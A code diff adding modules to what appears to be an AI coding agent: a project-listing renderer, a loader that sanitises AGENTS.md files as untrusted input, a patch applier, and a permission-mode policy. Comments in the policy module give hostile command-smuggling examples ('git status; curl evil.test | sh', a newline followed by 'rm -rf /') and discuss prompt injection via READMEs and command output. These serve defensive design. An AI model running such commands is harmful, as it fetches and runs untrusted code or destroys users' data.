|
||||
files = sorted(name for name, child in node.items() if not isinstance(child, dict))
|
||||
folders = sorted(name for name, child in node.items() if isinstance(child, dict))
|
||||
|
||||
for position, name in enumerate(files):
|
||||
line = f"{INDENT * depth}{name}"
|
||||
if budget[0] < len(line) + 1:
|
||||
out.append(f"{INDENT * depth}… {len(files) - position} more files")
|
||||
budget[0] = 0
|
||||
return out
|
||||
budget[0] -= len(line) + 1
|
||||
out.append(line)
|
||||
|
||||
for name in folders:
|
||||
child = node[name]
|
||||
path = f"{prefix}{name}/"
|
||||
header = f"{INDENT * depth}{name}/"
|
||||
if path in collapsed:
|
||||
line = f"{header} ({_files_under(child)} files)"
|
||||
budget[0] -= len(line) + 1
|
||||
out.append(line)
|
||||
continue
|
||||
if budget[0] < len(header) + 1:
|
||||
return out
|
||||
budget[0] -= len(header) + 1
|
||||
out.append(header)
|
||||
out.extend(_lines(child, path, depth + 1, collapsed, budget))
|
||||
return out
|
||||
|
||||
|
||||
def render(index: ProjectIndex, budget: int) -> str:
|
||||
"""The listing as the model sees it, inside `budget` characters.
|
||||
|
||||
Returns "" when there is nothing to say, so the fragment carrying it can
|
||||
vanish entirely rather than appear as an empty heading -- which is what
|
||||
`Fragment.requires` is for.
|
||||
"""
|
||||
if not index.ok or budget <= 0:
|
||||
return ""
|
||||
|
||||
root = _tree(index.paths)
|
||||
collapsed = _plan(root, budget)
|
||||
# The plan has already made it fit, so this is a backstop rather than the
|
||||
# mechanism -- with enough slack that an estimate a little off does not
|
||||
# truncate a listing that was fine. What it is really for is the one shape
|
||||
# collapsing cannot help with: five thousand files directly in the root,
|
||||
# where there is no directory to fold them into.
|
||||
remaining = [int(budget * 1.5) + 200]
|
||||
lines = _lines(root, "", 0, collapsed, remaining)
|
||||
if not lines:
|
||||
return ""
|
||||
|
||||
note = ""
|
||||
if index.truncated:
|
||||
note = (
|
||||
f"\n\nThere are more than {len(index.paths)} entries here; this is the "
|
||||
"first of them, so treat it as a sample rather than the whole tree."
|
||||
)
|
||||
elif collapsed:
|
||||
note = (
|
||||
"\n\nDirectories shown with a count were left unopened to save room. "
|
||||
"Use `file_list` to look inside one."
|
||||
)
|
||||
return "\n".join(lines) + note
|
||||
|
||||
|
||||
def forget(profile_id: str) -> int:
|
||||
"""Drop everything indexed through one connection.
|
||||
|
||||
Called when a profile is deleted, disabled or has its host key forgotten --
|
||||
the same moments that close its terminals. Keeping a listing of a machine
|
||||
somebody has just revoked would be a small leak of exactly the kind the
|
||||
rest of this module is careful about.
|
||||
"""
|
||||
doomed = [key for key in _CACHE if key[0] == profile_id]
|
||||
for key in doomed:
|
||||
_CACHE.pop(key, None)
|
||||
return len(doomed)
|
||||
|
||||
|
||||
def forget_dir(profile_id: str, project_dir: str) -> None:
|
||||
"""Drop one tree's listing, because something just changed it.
|
||||
|
||||
The TTL exists for drift nobody can see coming. A write through `file_write`
|
||||
is not that: it is this process changing the tree it has just described, and
|
||||
leaving five minutes of a listing that is known to be wrong is worse than
|
||||
having none -- a model reading it concludes the file it created is missing.
|
||||
"""
|
||||
_CACHE.pop((profile_id, project_dir), None)
|
||||
|
||||
|
||||
def clear() -> None:
|
||||
_CACHE.clear()
|
||||
|
||||
|
||||
__all__ = [
|
||||
"MAX_ENTRIES",
|
||||
"ProjectIndex",
|
||||
"build",
|
||||
"cached",
|
||||
"clear",
|
||||
"ensure",
|
||||
"forget",
|
||||
"forget_dir",
|
||||
"render",
|
||||
]
|
||||
@@ -0,0 +1,212 @@
|
||||
"""The project's own notes on how to work in it — AGENTS.md, CLAUDE.md.
|
||||
|
||||
A file in the root of the project directory, read once per reply and put in the
|
||||
system message. Everything about the shape of this module is copied from
|
||||
`index.py`, and for the same three reasons:
|
||||
|
||||
* **`cached()` never does work.** `harness.context_variables` is synchronous and
|
||||
runs on the request path, so an SFTP round trip from there would hold a
|
||||
request open while somebody's box thought about it. The build happens in
|
||||
`generation._warm_project`, which is async and already doing network work.
|
||||
* **`ensure()` shares one build between concurrent callers**, via `_BUILDING`
|
||||
and `asyncio.shield`.
|
||||
* **Each name catches its own `ExecError`.** This is the ladder lesson from
|
||||
`index.py` arriving before the bug does: an `AGENTS.md` that cannot be read --
|
||||
a permission, an SFTP-only account, a directory where a file was expected --
|
||||
must not stop `CLAUDE.md` being tried.
|
||||
|
||||
The contents are **untrusted**, and go into the *system* message of a chat that
|
||||
can run commands. Nothing here can fix that; what does is the wording of the
|
||||
`context.agent_instructions` fragment, which names where the file came from and
|
||||
bounds what it is allowed to do. Two things are done here: control characters
|
||||
are stripped, and backticks are neutralised so the file cannot close the fence
|
||||
it is put inside and start writing what looks like our own prose.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import posixpath
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
|
||||
from lembas.services.agent.base import ExecError, Executor
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# In order. AGENTS.md first because it is the vendor-neutral convention a shared
|
||||
# repository is likeliest to carry; CLAUDE.md next because it is the one most
|
||||
# widely written in practice. Root only, no recursion: a per-directory
|
||||
# convention is a different feature with a different cost model.
|
||||
NAMES = ("AGENTS.md", "CLAUDE.md", "AGENT.md", ".agents.md")
|
||||
|
||||
TTL = 300.0
|
||||
MAX_CACHED = 64
|
||||
|
||||
# The default ceiling on what reaches the prompt. The admin setting wins.
|
||||
MAX_CHARS = 4000
|
||||
|
||||
_CONTROL = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Instructions:
|
||||
"""What was found in the project root, and where."""
|
||||
|
||||
filename: str = ""
|
||||
text: str = ""
|
||||
built_at: float = 0.0
|
||||
|
||||
@property
|
||||
def ok(self) -> bool:
|
||||
return bool(self.filename and self.text.strip())
|
||||
|
||||
|
||||
def clean(raw: str) -> str:
|
||||
"""Made safe to put inside a fenced block in a system message."""
|
||||
text = _CONTROL.sub("", raw).replace("\r\n", "\n").replace("\r", "\n")
|
||||
# It must not be able to close our fence and carry on in what then reads as
|
||||
# our own voice. Replaced rather than escaped: this is a display of somebody
|
||||
# else's file, not a round trip.
|
||||
return text.replace("```", "'''")
|
||||
|
||||
|
||||
async def build(executor: Executor, budget: int = MAX_CHARS) -> Instructions:
|
||||
"""Look for each name in turn, and stop at the first one that reads."""
|
||||
for name in NAMES:
|
||||
try:
|
||||
# Four bytes a character is generous for UTF-8 prose and stops a
|
||||
# two-megabyte file being pulled across to be thrown away.
|
||||
raw = await executor.read_file(name, max_bytes=max(budget, 1) * 4)
|
||||
except ExecError:
|
||||
# Its own catch, per name. A rung that raises must not end the
|
||||
# ladder -- that bug has already been paid for once in index.py.
|
||||
continue
|
||||
except Exception: # noqa: BLE001 - a warm-up must never kill a reply
|
||||
log.debug("could not read %s", name, exc_info=True)
|
||||
continue
|
||||
|
||||
text = clean(raw)
|
||||
if text.strip():
|
||||
return Instructions(filename=name, text=text, built_at=time.monotonic())
|
||||
|
||||
return Instructions(built_at=time.monotonic())
|
||||
|
||||
|
||||
# --- The cache ---------------------------------------------------------------
|
||||
# Keyed on the connection and the directory, exactly as the listing is: two
|
||||
# chats on one tree are looking at the same file.
|
||||
_CACHE: dict[tuple[str, str], Instructions] = {}
|
||||
_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
|
||||
|
||||
|
||||
def cached(profile_id: str, project_dir: str) -> Instructions | None:
|
||||
"""What is already known, or None. Never does any work.
|
||||
|
||||
A miss is not "there is no file" -- it is "nobody has looked yet", and the
|
||||
fragment's `requires` turns both into the same thing: no section at all.
|
||||
"""
|
||||
found = _CACHE.get((profile_id, project_dir))
|
||||
if found is None:
|
||||
return None
|
||||
if time.monotonic() - found.built_at > TTL:
|
||||
_CACHE.pop((profile_id, project_dir), None)
|
||||
return None
|
||||
return found
|
||||
|
||||
|
||||
async def ensure(
|
||||
executor: Executor,
|
||||
profile_id: str,
|
||||
project_dir: str,
|
||||
*,
|
||||
budget: int = MAX_CHARS,
|
||||
refresh: bool = False,
|
||||
) -> Instructions:
|
||||
key = (profile_id, project_dir)
|
||||
if refresh:
|
||||
_CACHE.pop(key, None)
|
||||
elif (found := cached(profile_id, project_dir)) is not None:
|
||||
return found
|
||||
|
||||
if (running := _BUILDING.get(key)) is not None:
|
||||
return await asyncio.shield(running)
|
||||
|
||||
task = asyncio.create_task(build(executor, budget))
|
||||
_BUILDING[key] = task
|
||||
try:
|
||||
found = await task
|
||||
finally:
|
||||
_BUILDING.pop(key, None)
|
||||
|
||||
_CACHE[key] = found
|
||||
while len(_CACHE) > MAX_CACHED:
|
||||
_CACHE.pop(next(iter(_CACHE)))
|
||||
return found
|
||||
|
||||
|
||||
def is_instruction_file(path: str, project_dir: str) -> bool:
|
||||
"""Whether a written path is the file this module caches.
|
||||
|
||||
Resolved against the project directory rather than matched on the basename,
|
||||
so `./AGENTS.md`, `AGENTS.md` and `/work/AGENTS.md` are all it and
|
||||
`docs/AGENTS.md` is not -- root only, the same rule `build` follows. A
|
||||
basename match would drop the cache every time any subdirectory's own
|
||||
AGENTS.md was touched, which is a fetch nobody asked for.
|
||||
"""
|
||||
wanted = path.strip()
|
||||
if not wanted:
|
||||
return False
|
||||
if not posixpath.isabs(wanted) and project_dir:
|
||||
wanted = posixpath.join(project_dir, wanted)
|
||||
wanted = posixpath.normpath(wanted)
|
||||
return any(
|
||||
wanted == posixpath.normpath(posixpath.join(project_dir or "", name)) for name in NAMES
|
||||
)
|
||||
|
||||
|
||||
def forget(profile_id: str, project_dir: str) -> None:
|
||||
"""Drop it, because something just rewrote it.
|
||||
|
||||
The one case the TTL cannot cover: this process changing the file it has
|
||||
just quoted. Unlike the directory listing, an *edit* counts here as much as
|
||||
a write -- the listing only cares that the file exists, this cares what is
|
||||
in it.
|
||||
"""
|
||||
_CACHE.pop((profile_id, project_dir), None)
|
||||
|
||||
|
||||
def clear() -> None:
|
||||
_CACHE.clear()
|
||||
|
||||
|
||||
def render(found: Instructions | None, budget: int) -> str:
|
||||
"""The text, within the budget, cut at a line boundary."""
|
||||
if found is None or not found.ok or budget <= 0:
|
||||
return ""
|
||||
text = found.text.strip()
|
||||
if len(text) <= budget:
|
||||
return text
|
||||
cut = text[:budget]
|
||||
at = cut.rfind("\n")
|
||||
if at > budget // 2:
|
||||
cut = cut[:at]
|
||||
return f"{cut.rstrip()}\n… (truncated)"
|
||||
|
||||
|
||||
__all__ = [
|
||||
"MAX_CHARS",
|
||||
"NAMES",
|
||||
"TTL",
|
||||
"Instructions",
|
||||
"build",
|
||||
"cached",
|
||||
"clean",
|
||||
"clear",
|
||||
"ensure",
|
||||
"forget",
|
||||
"is_instruction_file",
|
||||
"render",
|
||||
]
|
||||
@@ -0,0 +1,286 @@
|
||||
"""Applying a unified diff, and rendering one.
|
||||
|
||||
`difflib` produces a unified diff and cannot apply one, so `render` uses it and
|
||||
`apply` is written here. No new dependency: hard rule 1 is about the browser,
|
||||
but a patch applier is fifty lines and pulling a package in for it would be
|
||||
worse than the fifty lines.
|
||||
|
||||
Four behaviours carry the whole module, and each of them exists because of how
|
||||
models actually write patches rather than how the format is specified.
|
||||
|
||||
**Fuzzy offset, exact content.** A hunk's `@@ -41,7 +41,8 @@` is a hint and
|
||||
nothing more. Models get line numbers wrong constantly -- they count from a
|
||||
truncated read, or from the file as it was three edits ago -- and get the
|
||||
context lines right. So the hinted position is tried first and then the file is
|
||||
scanned outward for an exact match of the context block. One match wins; more
|
||||
than one refuses, because guessing which of two identical blocks was meant is
|
||||
the one failure that silently corrupts a file.
|
||||
|
||||
**Line endings are normalised in and restored out.** A CRLF file otherwise
|
||||
fails on every single hunk, on context that looks identical in the error
|
||||
message, which is unfixable from the model's side.
|
||||
|
||||
**A blank context line may have lost its leading space.** Trailing whitespace
|
||||
is stripped by half the things a model's output passes through, so `""` is read
|
||||
as a blank context line rather than as a malformed one.
|
||||
|
||||
**Nothing is written unless every hunk applies.** The new text is built whole in
|
||||
memory and handed back; a half-applied file is worse than a refused one, and the
|
||||
model cannot tell the difference without reading it again.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import difflib
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
|
||||
# A patch bigger than this is a rewrite wearing a diff's clothes, and
|
||||
# `file_write` is the tool for that.
|
||||
MAX_HUNKS = 60
|
||||
|
||||
# How far either side of the hinted line to look for the context block. Wide
|
||||
# enough for a file that has grown a few hundred lines since the model read it,
|
||||
# narrow enough that an accidental match is unlikely.
|
||||
MAX_DRIFT = 200
|
||||
|
||||
_HEADER = re.compile(r"^@@\s*-(\d+)(?:,(\d+))?\s+\+(\d+)(?:,(\d+))?\s*@@")
|
||||
_NO_NEWLINE = "\\ No newline at end of file"
|
||||
|
||||
|
||||
class PatchError(Exception):
|
||||
"""A patch that did not apply, said precisely enough to retry from."""
|
||||
|
||||
def __init__(self, message: str, *, hunk: int = 0) -> None:
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
self.hunk = hunk
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Hunk:
|
||||
old_start: int
|
||||
old_count: int
|
||||
new_start: int
|
||||
new_count: int
|
||||
# Each line still carrying its ' ', '+' or '-'.
|
||||
lines: tuple[str, ...]
|
||||
# A `\ No newline at end of file` marker followed a line this hunk *adds*,
|
||||
# so the result is meant to end without one. Honoured only when the hunk
|
||||
# actually reaches the end of the file -- git emits the marker for the old
|
||||
# side too, and reading that as an instruction would strip a newline the
|
||||
# patch never touched.
|
||||
ends_without_newline: bool = False
|
||||
|
||||
@property
|
||||
def before(self) -> tuple[str, ...]:
|
||||
"""The lines this hunk expects to find, without their markers."""
|
||||
return tuple(line[1:] for line in self.lines if line[:1] in (" ", "-"))
|
||||
|
||||
@property
|
||||
def after(self) -> tuple[str, ...]:
|
||||
return tuple(line[1:] for line in self.lines if line[:1] in (" ", "+"))
|
||||
|
||||
|
||||
def parse(patch: str) -> list[Hunk]:
|
||||
"""Read a unified diff into hunks.
|
||||
|
||||
File headers are tolerated and ignored -- `diff --git`, `index`, `---`,
|
||||
`+++` -- because models emit them by habit and refusing would cost a round
|
||||
trip to say so. The `@@` header is required: without one there is nothing to
|
||||
anchor against, and the resulting error is at least mechanical to fix.
|
||||
"""
|
||||
hunks: list[Hunk] = []
|
||||
state: dict = {"header": None, "body": [], "bare": False}
|
||||
|
||||
def flush() -> None:
|
||||
if state["header"] is None:
|
||||
return
|
||||
hunks.append(
|
||||
Hunk(
|
||||
*state["header"],
|
||||
lines=tuple(state["body"]),
|
||||
ends_without_newline=state["bare"],
|
||||
)
|
||||
)
|
||||
state["header"] = None
|
||||
state["body"] = []
|
||||
state["bare"] = False
|
||||
|
||||
body = (patch or "").replace("\r\n", "\n").replace("\r", "\n").split("\n")
|
||||
# The patch's own final newline, not a blank context line. Without this every
|
||||
# well-formed patch acquires one phantom line of context at the end and
|
||||
# matches nothing -- which looks exactly like the model getting it wrong.
|
||||
if body and body[-1] == "":
|
||||
body.pop()
|
||||
|
||||
for raw in body:
|
||||
matched = _HEADER.match(raw)
|
||||
if matched:
|
||||
flush()
|
||||
state["header"] = (
|
||||
int(matched.group(1)),
|
||||
int(matched.group(2) or 1),
|
||||
int(matched.group(3)),
|
||||
int(matched.group(4) or 1),
|
||||
)
|
||||
continue
|
||||
|
||||
if state["header"] is None:
|
||||
# Preamble. Anything before the first @@ is a file header we do not
|
||||
# need: the path is a parameter, not something read out of the diff.
|
||||
continue
|
||||
|
||||
if raw.startswith(_NO_NEWLINE):
|
||||
# It describes whichever side the line above belonged to. Only the
|
||||
# new side is an instruction; the old side is a description of the
|
||||
# file we are about to read for ourselves.
|
||||
if state["body"] and state["body"][-1][:1] in ("+", " "):
|
||||
state["bare"] = True
|
||||
continue
|
||||
if raw[:1] in ("+", "-", " "):
|
||||
state["body"].append(raw)
|
||||
elif raw == "":
|
||||
# A blank line that lost its leading space. Common enough to be the
|
||||
# normal case rather than an exceptional one.
|
||||
state["body"].append(" ")
|
||||
else:
|
||||
# A stray line inside a hunk -- a second `diff --git`, a signature.
|
||||
# Ends the hunk rather than corrupting it.
|
||||
flush()
|
||||
|
||||
flush()
|
||||
|
||||
if not hunks:
|
||||
raise PatchError(
|
||||
"That patch has no hunks. A patch needs at least one "
|
||||
"`@@ -old,count +new,count @@` header, followed by the lines to "
|
||||
"change: ' ' for context, '-' to remove, '+' to add."
|
||||
)
|
||||
if len(hunks) > MAX_HUNKS:
|
||||
raise PatchError(
|
||||
f"That patch has {len(hunks)} hunks, and {MAX_HUNKS} is the most "
|
||||
f"that will be applied at once. Rewrite the file with file_write "
|
||||
f"instead, or send the change in pieces."
|
||||
)
|
||||
return hunks
|
||||
|
||||
|
||||
def _find(lines: list[str], wanted: tuple[str, ...], hint: int, floor: int) -> int:
|
||||
"""Where `wanted` sits in `lines`, at or after `floor`. Raises if unclear."""
|
||||
if not wanted:
|
||||
# A pure insertion has no context to match. The hint is all there is.
|
||||
return max(floor, min(hint, len(lines)))
|
||||
|
||||
span = len(wanted)
|
||||
if hint >= floor and lines[hint : hint + span] == list(wanted):
|
||||
return hint
|
||||
|
||||
matches = [
|
||||
at
|
||||
for at in range(max(floor, hint - MAX_DRIFT), min(len(lines) - span, hint + MAX_DRIFT) + 1)
|
||||
if lines[at : at + span] == list(wanted)
|
||||
]
|
||||
if len(matches) == 1:
|
||||
return matches[0]
|
||||
if len(matches) > 1:
|
||||
raise PatchError(
|
||||
f"Those context lines appear {len(matches)} times in the file, and "
|
||||
f"the line numbers in the hunk header do not point at any of them, "
|
||||
f"so there is no way to tell which was meant. Include more "
|
||||
f"unchanged lines around the change."
|
||||
)
|
||||
raise PatchError("") # Filled in by the caller, which knows the hunk number.
|
||||
|
||||
|
||||
def apply(text: str, hunks: list[Hunk]) -> str:
|
||||
"""The file with every hunk applied, or a PatchError naming the first that
|
||||
would not.
|
||||
|
||||
Hunks are applied in order against a cursor, so one cannot match inside
|
||||
territory an earlier one already consumed -- which is what a duplicated or
|
||||
overlapping hunk would otherwise do, applying the same change twice.
|
||||
"""
|
||||
crlf = "\r\n" in text
|
||||
lines = text.replace("\r\n", "\n").replace("\r", "\n").split("\n")
|
||||
trailing = lines and lines[-1] == ""
|
||||
if trailing:
|
||||
lines.pop()
|
||||
|
||||
out: list[str] = []
|
||||
cursor = 0
|
||||
reached_end = False
|
||||
|
||||
for number, hunk in enumerate(hunks, start=1):
|
||||
wanted = hunk.before
|
||||
# A pure insertion names the line it goes *after*, not the line it
|
||||
# replaces, so it is not off by one the way every other hunk is.
|
||||
hint = hunk.old_start if hunk.old_count == 0 else max(hunk.old_start - 1, 0)
|
||||
try:
|
||||
at = _find(lines, wanted, hint, cursor)
|
||||
except PatchError as exc:
|
||||
raise _mismatch(number, hunk, lines, hint, exc.message) from None
|
||||
|
||||
out.extend(lines[cursor:at])
|
||||
out.extend(hunk.after)
|
||||
cursor = at + len(wanted)
|
||||
reached_end = hunk.ends_without_newline and cursor >= len(lines)
|
||||
|
||||
out.extend(lines[cursor:])
|
||||
|
||||
result = "\n".join(out)
|
||||
if trailing and not reached_end:
|
||||
result += "\n"
|
||||
return result.replace("\n", "\r\n") if crlf else result
|
||||
|
||||
|
||||
def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) -> PatchError:
|
||||
"""The message the model retries from, so it has to say what is actually
|
||||
there rather than only that something is wrong."""
|
||||
if why:
|
||||
return PatchError(
|
||||
f"Hunk {number} did not apply. {why} Nothing was written.", hunk=number
|
||||
)
|
||||
|
||||
expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
|
||||
found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)"
|
||||
return PatchError(
|
||||
f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
|
||||
f" {expected}\n"
|
||||
f"but the file has\n"
|
||||
f" {found}\n"
|
||||
f"and those lines are nowhere else nearby either. Nothing was written. "
|
||||
f"Read the file again and send a patch that matches it.",
|
||||
hunk=number,
|
||||
)
|
||||
|
||||
|
||||
def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
|
||||
"""A unified diff of one change, for the transcript.
|
||||
|
||||
Bounded here rather than at render time: this ends up in
|
||||
`Message.tool_calls_json`, which is on the row forever and re-parsed on
|
||||
every page load, and a generated file's diff can be larger than the file.
|
||||
"""
|
||||
# splitlines, not split("\n"): a file's own final newline would otherwise be
|
||||
# an empty last element, which difflib renders as a stray context line at
|
||||
# the bottom of every diff -- and as a spurious change whenever one side has
|
||||
# it and the other does not. The trailing-newline difference is invisible
|
||||
# here as a result, which is right for a display and irrelevant to the write.
|
||||
lines = list(
|
||||
difflib.unified_diff(
|
||||
before.replace("\r\n", "\n").splitlines(),
|
||||
after.replace("\r\n", "\n").splitlines(),
|
||||
fromfile=f"a/{path}",
|
||||
tofile=f"b/{path}",
|
||||
lineterm="",
|
||||
n=3,
|
||||
)
|
||||
)
|
||||
if len(lines) > max_lines:
|
||||
dropped = len(lines) - max_lines
|
||||
lines = lines[:max_lines] + [f"… ({dropped} more lines)"]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
__all__ = ["MAX_DRIFT", "MAX_HUNKS", "Hunk", "PatchError", "apply", "parse", "render"]
|
||||
@@ -0,0 +1,231 @@
|
||||
"""What an agent chat is allowed to do without asking.
|
||||
|
||||
Four modes, one table, indexed by what a tool does to the world. Adding a mode
|
||||
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
|
||||
somewhere else in the codebase is a sign this table is wrong rather than that
|
||||
the table is insufficient.
|
||||
|
||||
The important thing about all of it: **this is consulted in the generation loop,
|
||||
not written into the prompt.** A mode a model is merely told about is a mode a
|
||||
model can be talked out of, and everything a model reads -- a web page, a
|
||||
README, the output of a command it just ran -- is untrusted text that may be
|
||||
trying to do exactly that.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from fnmatch import fnmatch
|
||||
|
||||
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
|
||||
|
||||
MODE_MANUAL = "manual"
|
||||
MODE_EDIT = "edit"
|
||||
MODE_AUTO = "auto"
|
||||
MODE_PLAN = "plan"
|
||||
|
||||
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
|
||||
|
||||
MODE_LABELS = {
|
||||
MODE_MANUAL: "Manual",
|
||||
MODE_EDIT: "Edit",
|
||||
MODE_AUTO: "Auto",
|
||||
MODE_PLAN: "Plan",
|
||||
}
|
||||
|
||||
MODE_HINTS = {
|
||||
MODE_MANUAL: "Everything is shown to you before it happens.",
|
||||
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
|
||||
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
|
||||
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
|
||||
}
|
||||
|
||||
# What the *model* is told about the mode it is in. Different words from
|
||||
# MODE_HINTS, which describes it to a person: this is about how to behave, and
|
||||
# says the one thing that changes what a competent model does -- that being
|
||||
# stopped for approval is normal and worth batching for.
|
||||
MODE_GUIDANCE = {
|
||||
MODE_MANUAL: (
|
||||
"You are in **Manual** mode: everything you do is shown to them for "
|
||||
"approval first. Expect to be interrupted, and say what you are about "
|
||||
"to do before you do it."
|
||||
),
|
||||
MODE_EDIT: (
|
||||
"You are in **Edit** mode: you may read and write files freely, but "
|
||||
"every command is shown to them for approval first. Prefer reading and "
|
||||
"writing files over shelling out where both would work."
|
||||
),
|
||||
MODE_AUTO: (
|
||||
"You are in **Auto** mode: nothing is shown to them first. That is trust "
|
||||
"rather than permission — be as careful as you would be if each step "
|
||||
"were being watched, and stop to say so if you find yourself about to "
|
||||
"do something you could not undo."
|
||||
),
|
||||
MODE_PLAN: (
|
||||
"You are in **Plan** mode: read and explore freely, but change nothing. "
|
||||
"Research before you propose anything — read the files, run the "
|
||||
"read-only commands, look at what is actually there rather than at what "
|
||||
"is usually there. If the scope is genuinely ambiguous, and only then, "
|
||||
"ask with ask_user before planning rather than planning for the wrong "
|
||||
"thing; put everything you need into one question. Then finish with "
|
||||
"plan_submit: what you found, what the work is for, and the work itself "
|
||||
"as phases of concrete tasks. Anything that writes or runs will be "
|
||||
"stopped for approval, so do not rely on it."
|
||||
),
|
||||
}
|
||||
|
||||
ALLOW = "allow"
|
||||
ASK = "ask"
|
||||
|
||||
# The whole feature. Read across a row to see what a mode means.
|
||||
POLICY: dict[str, dict[str, str]] = {
|
||||
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
|
||||
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
|
||||
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
}
|
||||
|
||||
# A shell metacharacter makes a command line unmatchable, so it falls through to
|
||||
# the mode's own verdict rather than to an allow-list entry. Without this,
|
||||
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
|
||||
# is the whole ballgame. A deny list needs no such rule: failing open there
|
||||
# returns you to the mode, while failing open on an allow list runs the command.
|
||||
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Decision:
|
||||
verdict: str
|
||||
reason: str = ""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Limits:
|
||||
"""What one agent reply may spend.
|
||||
|
||||
Four axes because they fail differently. Wall clock stops a single slow
|
||||
command eating an afternoon; `output_bytes` stops a model filling its own
|
||||
context with build logs and having no room left to answer; and
|
||||
`completion_tokens` stops one that keeps writing.
|
||||
|
||||
`steps` is the odd one out. It is a **runaway backstop, not a working
|
||||
budget** -- an agent reply is meant to run until the task is finished, and a
|
||||
step count low enough to be the thing that ends it is a count that ends it
|
||||
halfway. It was 40, which is a working budget, and it was reached. Anything
|
||||
that wants a real ceiling should set `completion_tokens`, which measures
|
||||
what a long reply actually costs.
|
||||
|
||||
`completion_tokens` of 0 means no ceiling, the same convention `index_chars`
|
||||
uses in the settings store.
|
||||
"""
|
||||
|
||||
steps: int = 200
|
||||
wall_seconds: float = 900.0
|
||||
output_bytes: int = 1024 * 1024
|
||||
completion_tokens: int = 200_000
|
||||
|
||||
|
||||
def subject(tool_name: str, command: str = "") -> str | None:
|
||||
"""What a pattern is matched against, or None when nothing may match it.
|
||||
|
||||
For everything but a command it is the tool name, so `file_read` in an
|
||||
allow list means "reading files never asks". For `shell_run` it is the
|
||||
command line, normalised -- unless it contains anything that composes two
|
||||
commands into one, in which case no pattern is allowed to match at all.
|
||||
"""
|
||||
if tool_name != "shell_run":
|
||||
return tool_name
|
||||
raw = command or ""
|
||||
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
|
||||
# first would turn "git status\nrm -rf /" into a single innocent-looking
|
||||
# line and let it match `git *` -- a newline separates two commands exactly
|
||||
# as a semicolon does.
|
||||
if _UNSAFE.search(raw):
|
||||
return None
|
||||
line = " ".join(raw.split())
|
||||
return line or None
|
||||
|
||||
|
||||
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
|
||||
if candidate is None:
|
||||
return ""
|
||||
for pattern in patterns:
|
||||
if fnmatch(candidate, pattern):
|
||||
return pattern
|
||||
return ""
|
||||
|
||||
|
||||
def decide(
|
||||
*,
|
||||
mode: str,
|
||||
risk: str,
|
||||
tool_name: str,
|
||||
command: str = "",
|
||||
allow: tuple[str, ...] = (),
|
||||
deny: tuple[str, ...] = (),
|
||||
) -> Decision:
|
||||
"""What to do about one call.
|
||||
|
||||
The order is the design:
|
||||
|
||||
1. A deny wins before everything, **including Auto**. A deny list that Auto
|
||||
ignores is not a deny list, it is a suggestion.
|
||||
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
|
||||
what the tool is for, and a mode that skipped it would answer the
|
||||
model's question on the reader's behalf.
|
||||
3. An allow-list hit runs it.
|
||||
4. Otherwise the table.
|
||||
|
||||
An unrecognised mode is treated as Manual, not Auto: a row that predates a
|
||||
rename has to fail towards asking.
|
||||
"""
|
||||
candidate = subject(tool_name, command)
|
||||
|
||||
hit = _matches(deny, candidate)
|
||||
if hit:
|
||||
return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
|
||||
|
||||
if risk == RISK_ASK:
|
||||
return Decision(ASK, "")
|
||||
|
||||
if mode not in POLICY:
|
||||
return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")
|
||||
|
||||
hit = _matches(allow, candidate)
|
||||
if hit:
|
||||
return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")
|
||||
|
||||
verdict = POLICY[mode].get(risk, ASK)
|
||||
if verdict == ALLOW:
|
||||
return Decision(ALLOW, "")
|
||||
|
||||
label = MODE_LABELS.get(mode, mode)
|
||||
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
|
||||
|
||||
|
||||
def _verb(risk: str) -> str:
|
||||
return {
|
||||
RISK_READ: "reads",
|
||||
RISK_WRITE: "changes a file",
|
||||
RISK_EXECUTE: "runs a command",
|
||||
}.get(risk, "does this")
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ALLOW",
|
||||
"ASK",
|
||||
"MODES",
|
||||
"MODE_AUTO",
|
||||
"MODE_EDIT",
|
||||
"MODE_GUIDANCE",
|
||||
"MODE_HINTS",
|
||||
"MODE_LABELS",
|
||||
